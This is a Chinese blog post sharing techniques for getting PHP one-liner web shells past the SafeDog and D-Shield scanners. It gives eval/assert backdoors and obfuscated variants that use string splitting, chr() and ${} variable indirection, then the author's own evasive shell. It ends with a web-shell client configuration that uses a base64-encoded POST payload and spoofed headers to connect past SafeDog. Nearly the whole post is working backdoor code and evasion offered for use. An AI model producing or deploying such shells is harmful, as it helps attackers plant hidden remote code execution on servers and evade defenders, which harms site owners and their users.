利用符号绕过安全狗/D盾

  • A+
所属分类:资源分享

授之以鱼不如授之以渔
一句话最原始形态:
<?php eval($_POST[4]);?>
<?php assert($_POST[4]);?>
注意:
BaiDu下一eval和assert的区别
eval可以不变量引用,而assert可以;eval可以执行多条语句,assert只能执行一句

在D狗扫描Web后门的时候就会匹配这两个函数
绕过方法:拆封-->组合
拆分:{}和$
组合:()和.

$c='ass'.'ert';$c($_POST[4]);

复制代码

//这个是经过简单$拆分的一句话,但过不D盾
//过滤 变量+($_POST    想办法改变这个模式

$c='ass'.'ert';${c}($_POST[4]);

复制代码

//这个就绕过D盾了,{}变量分离符,可以把$后面的变量名做字符串处理

$_POST[4] == ${chr(95).'POS'.chr(84)}[4]

复制代码

//可以测试一下,是一样的可以接受到POST数据中4的参数

我的一句话:

<?php

$A='Acc';

$p='_';

$o='PO';

$s='S';

$t='T';

$a='as';

$b='sert';

$Acc=$a.$b;

${$A}(${$p.$o.$s.$t}[4]);

说到底,只要想办法拆封组合就可以绕过,所以没必要担心软件更新

//在来说如何绕过安全狗连接一句话,如果没搞明白eval和assert的区别最好在搞明白在看
这是刚写的,过最新的狗
hatchet.ini:

[Header]

User-Agent=Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Referer=1

X-Forwarded-For=1

[/Header]

[Headers]

Accept-Language: en-us

Content-Type: application/x-www-form-urlencoded

[/Headers]

[POST]

ASP_POST_DATA==Execute("Ex"%26cHr(101)%26cHr(99)%26"ute(""On+Error+Resume+Next:

PHP_POST_DATA==@${chr(95).'POS'.chr(84)}[1]($_POST['xxxx'](ZXZhbCgkX1BPU1RbJ3h4eHgnXSgkX1BPU1RbJ3h4eCddKSk7));&1=assert&xxxx=base64_decode&xxx=

PHP_POST_Z0_DATA=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);

[/POST]

这里只讲PHP的

PHP_POST_DATA==@${chr(95).'POS'.chr(84)}[1]($_POST['xxxx'](ZXZhbCgkX1BPU1RbJ3h4eHgnXSgkX1BPU1RbJ3h4eCddKSk7));&1=assert&xxxx=base64_decode&xxx=

复制代码

@${chr(95).'POS'.chr(84)}[1] == $_POST[1] == assert
//这个应该还理解

$_POST['xxxx'](ZXZhbCgkX1BPU1RbJ3h4eHgnXSgkX1BPU1RbJ3h4eCddKSk7)
//这个我不讲,大家可以解密base64编码,为什么要"重复"
菜刀的操作(读文件,写文件,数据库,命令执行)的php代码都是大于1行的,而我们一句话用的assert,只能执行一句php代码,所以必须重复再写一个代码执行eval函数
&1=assert&xxxx=base64_decode&xxx=
//这是POST的数据,不多讲

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: